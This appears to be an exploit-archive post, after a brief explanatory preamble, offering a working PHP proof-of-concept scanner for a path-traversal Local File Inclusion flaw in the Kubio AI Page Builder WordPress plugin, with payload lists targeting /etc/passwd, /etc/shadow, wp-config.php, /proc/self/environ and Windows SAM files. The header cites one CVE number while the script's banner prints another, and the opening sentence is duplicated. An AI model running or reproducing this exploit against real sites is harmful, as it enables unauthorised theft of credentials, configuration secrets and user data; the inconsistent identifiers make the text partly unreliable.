Kubio AI Page Builder 2.5.1 was affected by a critical Kubio AI Page Builder 2.5.1 was affected by a critical PHP Local File Inclusion (LFI) vulnerability. This flaw allowed attackers to include and read arbitrary files from the web server's file system.

The "LFI Extractor Scanner" refers to a tool or script specifically designed to exploit this vulnerability. It would scan for vulnerable Kubio 2.5.1 installations and then attempt to extract sensitive information. This could include configuration files, user data, system files like `/etc/passwd`, or even source code.

Such an exploit could lead to severe information disclosure, data theft, and, if combined with other vulnerabilities, potentially remote code execution. This highlights the critical importance of keeping all software, especially WordPress plugins, updated to their latest, patched versions to prevent security breaches.

=============================================================================================================================================
| # Title : Kubio AI Page Builder 2.5.1 PHP LFI Extractor Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://downloads.wordpress.org/plugin/kubio.2.5.1.zip |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/190227/ & CVE-2025-30208

[+] Summary

A Local File Inclusion vulnerability exists in the function
`kubio_hybrid_theme_load_template` of the Kubio AI Page Builder plugin
for WordPress (versions ? 2.5.1). An unauthenticated attacker may include
arbitrary files via path traversal. This may lead to sensitive file
disclosure and can result in remote code execution when chained with
uploads.

[+] Impact:
-------
- Read arbitrary files
- Information disclosure
- Possible RCE chained with uploads

[+] Run

using: php poc.php https://target.com ../../../../../../etc/passwd

[+] Payload Variants

Linux Sensitive Files

/etc/passwd
/etc/shadow
/var/www/html/wp-config.php
/proc/self/environ

Windows Sensitive Files

C:\Windows\win.ini
C:\Windows\repair\SAM
C:\xampp\apache\logs\error.log

WP Sensitive Files

../../../../../../wp-config.php
../../../../../../wp-admin/admin.php

[+] poc


<?php
/*
* Kubio AI Page Builder <= 2.5.1 - Local File Inclusion (LFI)
* PHP Scanner
* By: Indoushka
*/

error_reporting(E_ALL);
set_time_limit(0);

function http_get($url) {
$ctx = stream_context_create([
'http' => [
'timeout' => 10,
'method' => "GET",
'header' => "User-Agent: Indoushka-Scanner/1.0\r\n"
]
]);
return @file_get_contents($url, false, $ctx);
}

function parse_version($version) {
$p = explode('.', $version);
while (count($p) < 3) $p[] = 0;
return array_map('intval', array_slice($p, 0, 3));
}

function check_plugin_version($target) {
$readme = rtrim($target, "/") . "/wp-content/plugins/kubio/readme.txt";
$res = http_get($readme);

if (!$res) return [false, "Cannot fetch readme.txt"];

if (preg_match('/Stable tag:\s*([\d\.]+)/i', $res, $m)) {
$ver = trim($m[1]);
$parsed = parse_version($ver);
return [$parsed <= [2,5,1], $ver];
}
return [false, "Version not found"];
}

function exploit($url, $file) {
$exploit = rtrim($url, "/") .
"/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=" .
urlencode($file);

return http_get($exploit);
}

function banner() {
echo "\n=== Kubio AI Page Builder LFI PHP Scanner ===\n";
echo " CVE-2025-2294\n";
echo " By Indoushka\n\n";
}

banner();

if ($argc < 2) {
echo "Usage:\n";
echo "php kubio_lfi.php <url> [file]\n\n";
echo "Example:\nphp kubio_lfi.php https://victim.com ../../../../../../etc/passwd\n";
exit;
}

$target = $argv[1];
$file = $argv[2] ?? "../../../../../../etc/passwd";

list($vuln, $ver) = check_plugin_version($target);

if ($vuln) {
echo "[+] Vulnerable version detected: $ver\n";
echo "[+] Exploiting...\n";

$content = exploit($target, $file);
if ($content) {
echo "\n===== FILE CONTENT START =====\n";
echo $content;
echo "\n===== FILE CONTENT END =====\n";
} else {
echo "[-] Exploit failed or no output.\n";
}
} else {
echo "[-] Not vulnerable: $ver\n";
}
?>

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================